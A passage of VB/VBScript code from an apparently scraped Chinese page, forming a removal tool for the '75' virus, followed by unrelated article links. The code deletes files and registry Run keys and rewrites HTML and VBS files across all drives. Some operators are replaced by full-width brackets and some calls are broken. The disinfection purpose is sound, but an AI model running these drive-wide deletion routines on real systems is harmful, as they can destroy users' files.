If fso.FileExists(wdsf) Then fso.DeleteFile wdsf: bdNUM = bdNUM + 1
If fso.FileExists(wdsf2) Then fso.DeleteFile wdsf2: bdNUM = bdNUM + 1
If fso.FileExists(wdf) Then fso.DeleteFile wdf: bdNUM = bdNUM + 1
If fso.FileExists(wdf2) Then fso.DeleteFile wdf2: bdNUM = bdNUM + 1
If fso.FileExists(wdf3) Then fso.DeleteFile wdf3: bdNUM = bdNUM + 1
If fso.FileExists(w2 & "75.htm") Then fso.DeleteFile w2 & "75.htm": bdNUM = bdNUM + 1
If fso.FileExists(defpath) Then fso.DeleteFile defpath: bdNUM = bdNUM + 1
DeleteReg MSWKEY & "CurrentVersion\Run\Mdm"
DeleteReg MSWKEY & "CurrentVersion\RunServices\Profile"
DeleteReg MSWKEY & "CurrentVersion\Run\75"
Set adi = fso.Drives
For Each x In adi
If x.DrivesType = 2 Or x.DrivesType = 3 Then
Call SearchHTML(x & "\")
End If
Next
End Sub
Sub Gf()
w1 = fso.GetSpecialFolder(0) & "\"
w2 = fso.GetSpecialFolder(1) & "\"
End Sub
Function DeleteReg(key_str)
Set tmps = CreateObject("WScript.Shell")
tmps.RegDelete key_str
Set tmps = Nothing
End Function
Sub SearchHTML(Path)
On Error Resume Next
Dim pfo, psfo, pf, ps, pfi, ext
If InStr(Path, fso.GetSpecialFolder(2)) 》 0 Then Exit Sub
Set pfo = fso.GetFolder(Path)
Set psfo = pfo.SubFolders
For Each ps In psfo
SearchHTML (ps.Path)
Set pf = ps.Files
For Each pfi In pf
FileLabel.Caption = pfi
DoEvents
ext = LCase(fso.GetExtensionName(pfi.Path))
If InStr(ext, "htm") 》 0 Or ext = "plg" Or ext = "asp" Then
CutHead pfi.Path, pfi, 1
ElseIf ext = "vbs" Then
CutHead pfi.Path, pfi, 2
End If
Next
Next
End Sub
Sub CutHead(Path, f, t)
On Error Resume Next
Dim tso, buffer, sr, wz, fbuf
Set tso = fso.OpenTextFile(Path, 1, True)
buffer = tso.ReadAll()
tso.Close
If (t = 1) Then
If UCase(Left(LTrim(buffer), 7)) = "《SCRIPT" Then
If InStr(1, buffer, "jword") 》 0 Then
wz = InStr(1, buffer, "《/SCRIPT》")
If wz 》 10000 Then
fbuf = Right(buffer, Len(buffer) - wz - 10)
Set tso = fso.OpenTextFile(Path, 2, True)
tso.Write fbuf
tso.Close
bdNUM = bdNUM + 1
DoEvents
End If
End If
End If
Else
If Mid(buffer, 3, 2) = "’@" Then
re = MsgBox("是否想删除:" + Path + ",它可能已经变成了75病毒", vbYesNo)
If (re = vbYes) Then
tso.Delete
bdNUM = bdNUM + 1
DoEvents
End If
End If
End If
End Sub
Function getErr()
If Err.Number 《》 0 Then
getErr = True
Err.Clear
Else
getErr = False
End If
End Function

更多文章:
电脑重启死循环进不去(电脑出现无限自动重启的死循环如何解决)
2026年11月3日 17:00
tif用什么打开(tif文件用什么打开Win10打开tif文件的详细步骤)
2026年11月3日 16:20
海外短视频跨境电商平台是真的吗(TikTok短视频带货到底值不值得做海外抖音赚钱靠谱吗)
2026年11月3日 15:40
笔记本no bootable device(今天开机发现笔记本显示no bootable device,求助)
2026年11月3日 13:20






